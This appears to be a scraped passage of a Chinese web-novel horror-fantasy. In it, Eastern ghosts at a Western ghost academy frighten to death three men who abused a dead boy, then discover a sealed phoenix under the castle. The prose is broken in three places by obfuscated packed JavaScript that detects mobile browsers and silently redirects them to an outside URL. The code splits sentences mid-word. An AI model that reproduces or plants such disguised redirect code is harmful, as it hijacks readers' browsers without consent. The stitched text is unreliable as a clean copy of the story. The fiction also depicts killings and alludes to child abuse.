亨利克心知不好,着急忙慌地想要跑出去,但那可怕的紫红斗篷又出现在他正前方。 他连忙调转方向,才抬起头,紫红斗篷就再度出现了。 无论他如何转向,她始终都在。 “叔叔,我是辛西娅呀——”鬼魅的声音萦绕着他,“你不是喜欢我吗?” 他看到的只有一个鬼影,但这声音让他觉得有无数幽灵围绕在他四周,在不声不响地吸食他的灵魂。 SAN值-20%。 13.收拾全员恶人的一家(7) 跑到马路这边时本就只剩80%SAN值的亨利克在阿坠的调戏中,SAN值猛降至30%。 阿坠乘胜追击,施法将幻境盒构建出的墓地扩大。 亨利克虽然原本就插翅难飞,但墓地边缘近在眼前还是让他心怀希望。现在墓地突然变得一眼望不到尽头,亨利克身形一颤,目瞪口呆地僵住了。 阿坠已想好了接下来该怎么做,奈何法力受限,便先隐匿身形,向司凌求助:“司凌,帮我一下!” 司凌正悠悠跟在约翰身后。 在刚才那段时间,她没有做任何吓人的事情,只是在约翰赶往路边时施了个小小的法术,用和约翰同样的速度拉长这段路的距离。 所以约翰就像被困在了原地,无论如何他如何加速、减速,自己到路边的距离都没有分毫改变,就算改变方向也是同样的效果。 约翰汗毛倒立,SAN值也在无形中下降了10%。 司凌没有急于出手做别的事,是因为她还想用阿坠那边的亨利克当个“道具”。 所以,听到阿坠的声音时,司凌马上回复:“要干什么?” 阿坠说:“高级法术……我不太懂,你那些小纸人能借我用用吗?变点那个出殡纸偶给我,多一些,围成一个圆,慢慢向亨利克聚拢!” 司凌脑补纸人渐渐聚拢的画面,皱起了眉,心里嫌它恐怖效果欠奉。 瞟了眼面前做无用功的约翰,她踅身飘向黑森林,在离阿坠还有十几米的时候下了分身咒:“千魂同谒。” 隐形状态的阿坠忽闻身后传来脚步声,下意识地回头,只见身后几米外出现了一个……她自己。 不是她当前穿着紫红色斗篷的样子,而是她灵体本来的样子:中式传统审美的鹅蛋脸化了淡妆,脑后半挽的发髻上挂着玉簪,身上穿着玉色的明制袄上袄与深绿色的织金马面裙,脚下是同样深绿色的翘头履。 她最初以这个形象进入鬼怪学院的时候,路西法曾高情商地表示:“很遗憾我不能向影视圈引荐你……否则你一定会是个大明星的。” 低情商翻译一下应该是:你这个形象想吓人可不太容易。 但现在,阿坠自己心里都发怵了。 ……因为她看到的“自己”远不止那一个,无数个她陆续出现,散落在墓地各处,一步步地向亨利克聚拢。 她们无一例外地直视前方,面无表情,脚步僵硬但出奇地一致。 她们木讷地踩过草叶、泥土,遇到墓碑也并不绕行,而是会以灵体状态直接飘过去,墓碑与灵体接触时泛起一道细细的绿光,那是在东方的阴间常见的颜色。 亨利克显然是看得到她们的,因为他立刻想跑,但离得最近的一圈已经聚拢了,他无路可逃,狼狈地跌坐在地上,精神已经有些涣散:“走、走开……离我远点,离我远点!” 有那么一瞬间……阿坠都共情他了! 假如她不知道这些人是司凌的法术,眼看她们围过来,哪怕都是“自己”,哪怕她还是个小有修为的妖,她也会被吓成亨利克这样。 但阿坠很快整理好了心情,她猜测着这些灵体与她的关联,尝试着向右歪了下脖子。 不出所料,所有灵体整齐划一地向右歪了下脖子! 这更可怕了! 亨利克叫都没叫出来,头上的SAN值就又下降了10%! 阿坠兴奋起来,耐性地等着她们继续前行,直至她们形成一道水泄不通的人墙,在中间留出了一个小小的圆。 她酝酿着情绪,先抬起了左手,然后身子僵直前倾。 所有灵体都伸手探向亨利克。 “啊啊啊啊啊——!!!!”亨利克惨叫成土拨鼠与尖叫鸡的合体,SAN值终于跌至10%。 阿坠露出笑容,灵体们随之露出笑容,这笑容发自肺腑、过于真诚,在这画面里别提有多诡异,亨利克刚停住的惨叫马上开始重播。 下一秒,所有灵体突然飘远。 亨利克看到那正反面一致的紫红斗篷女鬼凌空而降,斗篷里挑起双手的影子,像捧起至宝一般捧起了他的脸颊。 然后,咔吧一声! 亨利克断气前的最后一个念头是:总算结束了。 司凌飘在不远处看热闹,见亨利克被扭断脖子,马上有了思路! . 数丈之外,被困在原地已久的约翰近乎绝望地继续向前走着,突然感觉那遥不可及的马路开始与自己拉近距离了。他刚开始几乎不敢相信自己的眼睛,低下头用力揉了揉,再继续前行,终于确定刚才的怪异感已经消失! 他连忙加快脚步,狂奔向路边,周围也的确没再发生什么,他顺利地跑了过去。 但在他的脚踏上公路的瞬间,浓重的雾气再度出现。 四下里一下就什么都看不到了,马路对面的别墅只剩下几块模糊的黄色光影。约翰连忙收回脚,警惕地四处张望,不敢发出一点声响。 身后的迷雾里传来小男孩的抽噎,那声音对约翰来说并不陌生,他几乎在第一秒就想到了是谁。 “艾利欧特?”他屏息转身,面前的迷雾散开了一点,借着惨白的月光,他果然看到艾利欧特背对着他在哭。 艾利欧特穿着昨天离世时的那身衣服,牛仔裤后面还有血迹。 约翰走近两步,注意到艾利欧特身上覆着一层薄薄的白霜。 ……是停尸间低温造成的白霜! 约翰猛地打了个寒噤,头上的SAN值条悄然下降。 但他并没有忙于逃命,强烈的求生欲迫使他冷静下来,他意识到这一切都是因为艾利欧特而起的——想必是艾利欧特心存怨气,所以来找他们索命! “艾利欧特,听我说……”他强咽了下口水,硬撑着上前,“听我说……我很抱歉,我……作为你的父亲,我只是太爱你了……” 他这样辩解了一句,话才出口就意识到这可能会进一步激怒艾利欧特,连忙找补:“当然,我知道这种爱是错的,是罪恶的!艾利欧特……” 离艾利欧特还有几步远,约翰实在没勇气再往前走了,更没勇气去看艾利欧特正面是一张怎样的鬼脸。 于是他迟疑了一下,便慢慢跪了下去,姿态卑微:“艾利欧特……我知道,我们对不起你,也对不起你的母亲,但……但不管怎么样,我希望你能幸福,你不要因为我们这样的人被困在这里……” 司凌悬浮在雾气之外,冷漠地凝视着约翰。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15246536|165234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 约翰这话听起来很是虔诚,颇有一种用心良苦的意味,她简直要被打动了——如果她不知道这群禽兽对艾利欧特进行了长达一年的折磨的话。 “艾利欧特……我希望你能在天堂享受人生,希望你……来世拥有更好的父母。”约翰苦口婆心。 司凌撇了撇嘴,“艾利欧特”转过身,抬头望向约翰。 他看起来完全是正常的,完全是约翰所熟悉的那个漂亮男孩,这令约翰放松了些。 艾利欧特道:“我原谅你,父亲。” 约翰一愣,他还想再说点什么,但艾利欧特突然消失了。 随之消失的还有那浓重的迷雾,周围的一切再度清晰起来,约翰听到亨利克的声音:“约翰……我的兄弟!” 他举目望去,亨利克正气喘吁吁地向他走来,衣服有些破损,看起来很是狼狈,但除此之外好像也没什么不正常的。 “亨利克!”约翰赶紧迎上前,亨利克边走边说:“我、我没找到尤利安,连影子都没有……刚才发生什么了?我从森林里出来时到处都是雾,走到这里突然又都消失了!” 约翰笑道:“是艾利欧特……我求得了他的原谅!” 他一边说一边扶住亨利克的胳膊,他已经很疲惫了,SAN值的下滑更让他反应迟钝,于是过了好几秒,他的目光才猛地钉在亨利克的脖子上。 亨利克的脖子……拧了一整圈。 “啊!”约翰吓得连连跌退。亨利克望着他,露出狞笑:“你发现了。” “不……不!”刚刚自以为逃出困境的约翰骤然陷入更深的恐惧与绝望,SAN值暴跌。 -10%,-20%,亨利克亦步亦趋地走向他,脖颈突然反旋360度恢复正常,约翰的SAN值又掉了10%。 最后20%了。 司凌垂眸,一个小小的纸片从地下冒出来,贴在约翰的鞋侧,然后突然变成一只小手,抱住约翰的小腿。 约翰惶然点头,只见艾利欧特上半截身体从泥土里探出来,沾满泥土的胳膊牢牢抱住他的双腿。 “爸爸,来陪我吧!”艾利欧特微笑道。 SAN值-10%。 约翰感觉整个身子被艾利欧特拖拽着向泥土里沉去,他奋力挣扎,但无济于事。 泥土渐渐没过他的脚踝、小腿、膝盖,又没过腰际、胸口。 他慌张地抓住地上的小草的灌木,但这当然是救不了他的。 很快,泥土没到了他的口鼻。 在象征死亡的窒息感中,他的双手不受控制地扣入泥土,恍惚之间他又想起了艾利欧特,想起曾经多少次……艾利欧特被他们按在床上或者地上,在痛苦中绝望地攥紧床单和地毯。 他们当时只顾纵情狂欢,并没有放过艾利欧特。 现在,也不会有人放过他了。 约翰的身体继续下沉,头顶、手肘、手腕、指尖…… 终于,他完全消失了。 司凌落下来,鞋子踢了踢地表松软的泥土,将食指隐没后留下的那些小孔一一遮住,口吻悠闲地低语:“艾利欧特或许会原谅你。” 她一哂:“但我们不会。” “到地狱忏悔去吧。” 14.探索校园传说 凉风又刮起来,这次浓雾白烟真的开始一缕缕地消散,播洒下来的月光也不再那么惨白了。 阿坠从森林深处飘出来,落在司凌身边,司凌拿起传音符:“路西法校长,我们结束了。” 传音符里首先响起的是狼人芬瑞克的声音:“都杀了吗?!” 司凌迟疑了一下,突然不太确定,便问:“就三个吧?” 芬瑞克没再说话,路西法笑道:“是的,就三个,做得很棒,我们该回去了。” 司凌点点头,收起传音符,和阿坠走向停在对面路边的大巴。其他人也陆续从别墅里出来了,路西法站在大巴门口,等所有人聚齐,他打了个响指:“总结一下战绩。” 说罢他首先看向拿到首杀的僵尸新娘伊丽莎白:“伊丽莎白,一杀。”又侧首看看已在巴士上的艾麦里克与维莱,“艾麦里克和维莱,一杀。” 按照鬼怪学院的计分惯例,分组任务无需平均到个人,而是每人都可以将人头记一遍。 比如艾麦里克和维莱合力击杀了马蒂亚斯,可以每人都算1杀,而不是人均0.5。 于是路西法说完就转回头,笑了笑:“司凌和阿坠,三杀。” 大家的神色都僵了一下,尤其没拿到人头的爱丽丝和狼人三兄弟,脸色异常难看。 “等一下,校长先生。”司凌低着眼帘,思索着道,“我见到那三个人的时候,约翰和亨利克的SAN值是80%,尤利安是70%,加起来少了70%,四舍五入约等于一个人的完整SAN值了。” “考虑到他们后续那么容易掉SAN和前期在别墅里受到的连环惊吓也不无关系,所以我想——”她抬眸,微微一笑,“三个人都记给我们不大公平,我和阿坠各记两杀就好,剩下一个由您安排。” 路西法眉心轻跳,目光快速扫过另外几名学员,道:“我们从未有过这样的先例,但如果你坚持如此的话……”他沉吟了一下,“公平起见,这一杀可以记给所有人——我的意思是,包括你们两个。” 这样算完也就是司凌和阿坠各两杀、艾麦里克和维莱各两杀、伊丽莎白两杀,本来一无所获的狼人三兄弟与爱丽丝各一杀。 这并不妨碍司凌卖个人情,同时又确保她和阿坠依旧拿到了本场的MVP。 是更好一点。 司凌笑着点头:“谢谢。” “那就这样决定了!”路西法宣布。 狼人三兄弟发出一阵小小的欢呼。鬼怪之间凭实力决定一切,虽然单次任务并不意味着什么,但0杀还是挺丢人的,和1杀垫底完全不是一回事。 “走吧,我们返程。”路西法转身上了车,芬瑞克用粗壮的胳膊肘碰了碰司凌:“谢谢,今晚我请客——不是食堂,我知道灵薄城①里有几家很好的餐厅。” “灵薄城?”司凌没听过这个地方,路西法听到他们的对话,回过头解释了一句,“类似于你们的酆都,鬼怪居住的地方。” “哦……”司凌恍然大悟,狼人老二乌尔瑞克附和道:“对对,0杀太丢人了,谢谢你让我们避免了这种尴尬,我们必须请客!” “好吧,谢谢。”司凌一笑,坦然地接受了。 说完她也上了车,和阿坠随便找了个两人位的地方坐下。狼人三兄弟一同坐去了最后排,因为那排的五连坐能让他们三个坐在一起,还能更好地容纳他们健硕的体格。 爱丽丝已经回到八音盒里,被伊丽莎白托在手中。在经过司凌座位的时候,爱丽丝弹开木质盒盖:“司凌,谢谢啊!如果你有时间,明天晚上我请……” “啪。”伊丽莎白将盖子扣了回去,在司凌的座位旁边停下脚步,“这次的目标用枪进行反击,这是实体鬼怪的弱点,算你运气好。” 伊丽莎白说着偏头看了看她:“但你不会每次运气都这样好。” “伊丽莎白,够了!”坐在司凌斜前方的艾麦里克站起来,皱着眉头。 伊丽莎白不可置信地看向他,他望向司凌,眼中含着只有司凌明白的恳求:“我们都很感谢你,真的。” 司凌看懂了,艾麦里克怕她晚上去吓唬伊丽莎白。 她屏住笑,同样带着意有所指的意味:“不客气,都是同学,有什么不好商量的呢?” 艾麦里克松了口气:“总之……很感谢。” 伊丽莎白后牙咬紧,恨恨地盯着司凌,但最终也没再说什么,坐到了靠后的位置去。 路西法确认所有人都已坐稳,幽灵司机就启动了巴士。任务顺利完成让密米尔教授的心情很好,这颗平常就很絮叨的脑袋一路上都在副驾座位上唱着歌,多是些北欧的古代民谣。 当巴士抵达霍亨索伦堡已经临近子夜,大家在下车后客气地互相说了晚安,然后就各回寝室去。狼人三兄弟则带着司凌和阿坠走进了塔楼,那个古老的电梯通往城堡的地窖,地窖走廊尽头的木质大门直通灵薄城。 三兄弟很大方,带司凌去了一家烤肉馆。这家烤肉馆的评价是灵薄城里最好的,但在氛围上走的并不是优雅的高端路线,而是充满烟火气,因此在用餐过程中有并不少狼人三兄弟的熟人过来搭话,在看到司凌的时候,他们都觉得很新奇:“哦,我从来没见过东方厉鬼!她有多大?八百岁?一千岁?” ——对大多西方文明来说,一千年已经很长了。 司凌对此只能敷衍过去,友善地和他们问好,狼人们则会表示:“你或许应该庆幸你从未见过,她今天首轮任务就拿了三杀——我不知道她是怎么办到的,我也不是很想知道!” 两个多小时里,大家相谈甚欢。在返回鬼怪学院时,司凌和阿坠挽着手走在路上,狼人三兄弟很活泼地围着她们一路又唱又跳,这很热闹,也稍有些滑稽,司凌和阿坠都忍俊不禁地笑起来,兄弟三个仿佛受到鼓舞,就变出了真身,毛茸茸地继续又唱又跳。 “嗷呜——”他们在上升的电梯里仰首嚎叫,悠长的叫声遮盖了电梯停在一楼时的叮咚提示音。 当电梯门打开,他们还沉浸在嚎叫里,司凌和阿坠看到门外的人影不由替他们尴尬,阿坠无声地推了下离得最近的奥瑞克,司凌咳了声,举步走出电梯:“晚上好,校长。” “……”三头大狼一秒消音,第二秒就变回了人形,窘迫得东张西望地往外走。 “很好听……我很高兴你们和新同学相处得不错。”路西法不失礼貌地向他们颔了颔首,然后看向司凌,“我有些关于瓷国的事情要跟你谈谈。” “好。”司凌颔首,尴尬得狼爪在鞋子里抠出三室一厅的三兄弟马上表示:“那我们先回寝室了,晚安,明天见!” 然后不等她和路西法回应就再度化成狼身,飞奔而去。 阿坠识趣地道:“我也回去了,晚安。” “晚安。”路西法和司凌先后道。 接着,路西法并没有急于做什么,他耐心地目送三兄弟和阿坠走远,等他们四个的身影都离开塔楼,他伸手向电梯一引:“请跟我来。” 司凌点点头,回到电梯里,路西法随之也走进来,摸出一把钥匙插进电梯中。 这个电梯的最下层是B1,也就是那个通往灵薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15253559|165234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城的地窖。但当路西法转动钥匙,另一个按钮在B1下面浮现出来,按钮上没有字母或数字,而是用简单的线条描绘出了一只鸟,头上长有羽冠,翅膀上的羽毛长到迆地, 司凌猜想这应该是只孔雀,因为孔雀是路西法的象征之一。 接着,她很快意识到这个按钮虽然就在B1之下,但它的位置绝对不是B1和B2间的正常距离,因为电梯很是运行了一会儿,至少也有B5或B4的深度了。 “叮咚——”电梯终于停下了,路西法拉开金属门,金属门与轨道摩擦又发出那种粗粝的声响,同时还有一股冷潮的气息逼进来,让司凌浑身不适。 她定神抬眸,电梯外是一条石质甬道。由于电梯之外就没有灯光,她只能看到电梯外三四米的地方,再远就只剩下无尽的漆黑了。 她不喜欢这个地方,甚至想要立刻转身离开,这种情绪对她这样的万年厉鬼来讲十分罕见。 好在路西法很快挥手施了个法,石壁上镶嵌的火把都亮起来,将甬道完整地照亮。 其实这条甬道也就十米的样子,尽头处是一道从中间开合的双扇石门,上面以门缝为中心,刻着一只收拢翅膀倒吊着的蝙蝠,蝙蝠同样是路西法的象征②。 路西法率先走出电梯走向石门,司凌跟着他,很快注意到石壁连带着头顶上都有图画,是很古老的笔画,在岁月磨砺中已经完全失去了光泽,色彩也变得黯淡。 她起初并没有意识到这些图画意味着什么,直到看见左侧墙壁上一个半人半蛇的女人手上捏出一个简单的人形、身边还有一群同样的小人的时候,她错愕地定住脚步:“女娲造人?!” 路西法驻足转过脸,她指着那幅画说:“这是瓷国的传说,怎么会……” “看来我的判断没错。”路西法淡笑着颔了颔首,复又往前走去。 司凌心底疑云渐重,那种油然而生的抵触也并没有消散,两种情绪糅合成一种很古怪的感觉,让她既想转身离开,又迫不及待地想看到这里有什么。 路西法走到甬道尽头,信手推开那扇刻有倒吊蝙蝠的石门。 石门后的铜灯随之依次亮起,司凌眼前豁然开朗。 ……目光所及之处是一个宽阔的石窟,不算很规则,但基本是圆形的。司凌注意到这石窟里也到处都是壁画,就连地上都有。她在脚边临近的地方看到了盘古开天的图画,画中是盘古的背影,长着和人们常规印象有些出入的长发,但手里那柄经典的石斧足证其身份。 司凌不由得脚下顿了顿,路西法却没停,信步走向石窟中央。 司凌回过神,忙追了几步,继而注意到石窟正中央插着的一柄斜刺在地的重剑。 是青铜剑,大约要双手才能举得动。剑身上刻有古老的文字,在昏暗的光线下不大看得清。 路西法在离那柄剑还有两米远的时候停住了脚步,司凌想凑近去看剑上写了什么,也被他拦住了。 “稍等。”他说。 司凌不明就里地驻足看向路西法,路西法盯着那柄剑说:“应该很快。” 几乎话音刚落,四周就震起了惊悚的嘶吼! 那声音仿佛是从地狱传来的,带着说不清的痛苦和怨恨震响整个石窟。司凌一下子想起阿坠在电梯里给她讲过的故事,不禁瞳孔骤缩:“是那个校园传说?!” 路西法沉默点头,目光仍只盯着那柄青铜重剑。 痛苦的嘶吼持续了十几秒,石窟里开始弥漫起黑烟,那些黑烟是一缕一缕的,凝结后便迅速聚向青铜重剑,很快凝结成一个人形。 15.是凤凰? 司凌即便做了三万年的厉鬼也从来没见过这种状况,她张口怔忪半天,深吸了口气,扭头问路西法:“这什么情况?!” “Well,说来话长。”路西法抱臂打量着眼前的蓝鸟,“在鬼怪学校初建的时候我就发现他的存在了,这里不得不提的是,鬼怪学院选址在霍亨索伦堡是撒旦决定的——我们之间的相处其实并不算很融洽,他对我心存提防,让我来搞这个鬼怪学院本质是为了把我挤出核心管理层。” “……”司凌不想对这种办公室纷争做出评价,因此没作声。 路西法继续说:“所以,当我发现这个的存在的时候,我相信撒旦是不怀好意的,所以我托关系结识了密米尔。他通晓西方的三界之事,我本想向他请教这是什么,可他竟然给不出答案。” 司凌睇了眼蓝鸟:“因为他不属于西方么?” “是的,所以密米尔只能通过青铜剑上的文字勉强判断出他来自于瓷国,被强大的法术封印在了这里。” 路西法颔了颔首:“然后我又问密米尔,他会不会冲破封印。密米尔观察了一阵子,告诉我他的法力一直在提高,冲破封印是早晚的事,但也不会很快,至少还需要三百多年。” ——鬼怪学院是在霍亨索伦堡开始二次建造时诞生的,距今已经一百多年了。 “看,撒旦果然是想给我找点麻烦。”路西法笑了声,继续说,“从那时起,我就一直在联络东方地狱。我想寻求帮助,但不想惊动撒旦,所以没办法明说这件事,只能说我想邀请个强大的东方神祇过来进行交流。撒旦对此没什么意见,还打算向耶和华卖个顺水人情,就让那些天使去联络了。” 司凌想到谢必安向她介绍这个项目时说的话,深深吸了口气:“但我们的天庭对此毫无兴趣,因此这个项目又被转交给地府,然后你就等来了我?” “是的。”路西法点头,哑笑了一声,“实不相瞒,最初见到你的时候我是有点失望,但通过昨天的任务……哦,还有你对艾麦里克的惊吓,我觉得你也有些实力,所以……”他摊了摊手,“你能做点什么吗?比如安全地把他移交回去?或者……你先告诉我他是什么?” 司凌的目光回到被封印的生物身:鸡首戴冠、长颈金喙、鸿前麟后、鱼尾而分五岐、尾长十二尺…… 她心下很快做出了推断,虽然这个推断让她惊异得不敢相信,但她也想不到其他东西了。 司凌定了定神,将推断说了出来:“我想他是……凤凰。” 路西法会中文,他们一直在用中文交流,包括“凤凰”这个词,司凌也是用中文说的。 路西法听后下意识地吐出一个更熟悉的词汇:“哦,Phoenix。” “不,不是。”司凌微微皱眉,摇了摇头,“就是‘凤凰’,瓷国的神兽。Phoenix只是第一代翻译家们为了便于理解找了个和凤凰接近的西方神话生物做的翻译,但其实他们的长相、寓意、属性都有所不同。就像Dragon和东方龙其实也不一样,Dragon对你们来说很邪恶,龙却是我们的神兽——所以瓷国人间的官方前不久刚宣布把它的翻译改成‘Loong’了。” “好的……我明白了。”路西法消化了一下这些信息,又问,“你能移交他吗?” 司凌想了想说:“我可以帮你联系地府的官员。” 路西法强调:“我不想惊动撒旦。” 司凌在心下暗暗评估了一下自己和谢必安的私交,给出了肯定的答复:“可以——我不保证他能移交,但他应该可以瞒住这件事。”说着她拿出了通冥盘,“我现在就可以联系他。” 路西法做了个“请便”的手势,司凌马上点开阴信app,直接给谢必安拨了个视频。 霍亨索伦堡的凌晨两点多是酆都的早上八点多,谢必安刚到办公室,正和黑无常范无咎一起整理文件,看到司凌打来的视频就放下了手里的文件,直接接通了视频:“早,有事?” “早。”司凌笑笑,将通冥盘举到半死不活地凤凰面前,边按下后置摄像头按钮边说,“给你看个好东西。” …… 一小时之后,白无常谢必安、黑无常范无咎就都出现在了石窟里,两个人对凤凰出现在异国他乡的情况都很懵逼,但看看他的形态,他们谁也不能否认司凌的判断。 ——除了颜色是水蓝色,所有特征都符合古籍上对凤凰的记载。颜色的差异也并非完全不符,因为当光火照耀在那些羽毛和鳞片上的时候,它的确会反射出古籍记载的“五色”。 一身黑西装的范无咎扶着额头,哑然道:“我们这种高级鬼差都从未见过上古神兽……他居然出现在国外?!这合理吗?!” 司凌问:“你们能把他弄回瓷国吗?”她扫了眼路西法,意有所指道,“否则对路西法校长而言可能是个隐患。” “当然能……”谢必安心想:这可是凤凰啊! 找回一只上古神兽,他都不敢想自己能得到多夸张的升职加薪,名震酆都也是必然的。他甚至可以要求阎王再次重塑鬼门关,把其中一道门上的浮雕完全换成他的。 但下一秒,他恢复了些理智,看了眼路西法,道:“这是法力很强大的神兽,我建议您取一些强力的道具来,以备不时之需。” “我这就去。”路西法点点头,马上向外走去。 “我们等您回来。”谢必安不动声色地凝视着他,竖起耳朵听着动静。等到电梯上升的声音传来,他才继续跟司凌说,“把他送回神界不难,难的是解除封印这一步——你知道‘初劫’吧?” 司凌一愣。 这是个久远的知识点,指的是人变成厉鬼、或者普通鬼魂进化为厉鬼时会进入的失控状态,解除这个状态只有两个选择——要么让其拿到“首杀”,要么有更强大的力量制服他。 对鬼魂而言,在法力相同的前提下,比这个状态更可怕的只有怨气失控导致的“罗刹鬼相”了。 但司凌不理解的是:“神兽也有‘初劫’?” “如果被长时间封印过就有了。”范无咎长叹,“长时间封印会积攒怒火,解除封印时又神志不清,就会进入初劫状态。‘首杀’的祭品好准备,但也会出现意外——有时候初劫怒火爆棚根本不理会祭品,那就只能硬刚。”他说着抬手,右手拇指指向身后电梯的方向,“上古神兽,六千岁的路西法肯定是治不住他的,我和小谢更没戏。所以只有……” 他无声地看向司凌。 司凌当机立断地往外走:“哦,那让他在这儿待着好了!” ——上古神兽,她也未必打得过! 所以这对她来说没什么好纠结的,反正她最迟三年就能升仙,谢必安和范无咎又是私自过来的,完全可以当做无事发生。 至于再过一百多年神兽掀了鬼怪学院、让路西法在撒旦面前很难交待,跟她又有什么关系? 她不介意到时候在天界对着路西法默念一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15262303|165234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句对不起。 谢必安和范无咎对视一眼,两个人不约而同地冲过去把她拉走:“司凌,回来!”他们一左一右把她夹在中间,勾肩搭背将她拉回来。 范无咎道:“不行,我们如果根本不知道他的存在就算了,现在知道了我们不能不管!” 司凌哑了哑:“为什么?” 谢必安:“这可是我们华夏文明里最高级别的神兽!他被凄惨地钉在地上,我们坐视不理,路西法以后会怎么看我们?万一再走漏点风声,从天庭到地府都抬不起头——我知道在你眼里我是个该死的官僚,但这是大义!” 范无咎:“对,我们必须放了他,让他返回瓷国神界。” “再说……”范无咎循循善诱:“他回去搞不好对你也有好处呢!上古神兽哎……让你升仙不是一句话的事?” “……”司凌皱起眉头,看看范无咎又看看谢必安,脸上的无语毫不掩饰。 她听明白了,这事对路西法来说是解决隐患,对谢必安和范无咎来说一方面是神鬼系统的颜面,另一方面还有升职加薪的机会。 但对她来说——什么“升仙一句话的事”就是给她画了个饼,她得先承担巨大的风险倒是真的。 ——如果她打不过这凤凰,就算不魂飞魄散,至少也得折损大几千年的修为。 司凌沉吟了半晌,理性地谈起了条件:“我有两个要求。” 谢必安有些紧张:“什么要求?” “第一,你们要尽力保护我,避免我魂飞魄散。”她边说边看他们,待他们点了头,才继续道,“第二,如果我成功了——不管我的修为折损成什么样,他只要返回天界就必须帮我升仙。如果他拒绝,你们两个就要承担责任,替我说服他。” “……”谢必安和范无咎对视一眼,犹犹豫豫地点头,“行……” “好,那我们订立血誓。”司凌微笑着伸出左手,右手掐诀变出一把短刀,割破手心。 厉鬼纯黑的血液流淌下来,她一边将它在地上淋成符文一边开心地说:“谁食言谁遭反噬哦!” 谢必安和范无咎眼看她写下符文,脸上努力维持的笑容比哭还难看。 两个人都僵了一会儿,然后谢必安先行走过去,怀着一种自暴自弃的心态割破手掌,将血滴在符文上。 范无咎重重吁了口气,不情不愿地也滴了血。 誓咒定立完成,黑色的符文闪出绿光,然后消失无踪。 他们又等了会儿,路西法抱着一个纸箱回来了,纸箱里全是法器。 司凌挑了挑眉,形态突然发生变化——身上平平无奇的风衣与牛仔裤消失不见,变成一袭修身的黑色长裙,披散的长发自动挽到脑后,发髻上一对斜插的银色发簪形成了一个X形。 黑色在她的薄唇上蔓延,直至变成纯正的全黑,日常状态下只比正常肤色略显苍白的皮肤在几秒时间里变成如纸的惨白。眼睛里的白瞳也不见了,黑色充斥了整个眼眶,嘿中间冒出一枚红光,迅速扩展成一个红色的眼珠,瞳孔则是一枚更红的圆心。 然后,她面部的肌肤开始碎裂,出现了几道无规律的裂纹,就像瓷器上的裂痕一样。 这一切都发生得太快,不仅路西法下意识地打了个激灵,连和司凌最熟悉的谢必安都咋舌:“你还有这种战斗形态呢?!” “我在阴间待了三万年。”司凌扯动嘴角,“你以为我是靠什么从厉鬼厮杀中活下来的,爱与和平吗?”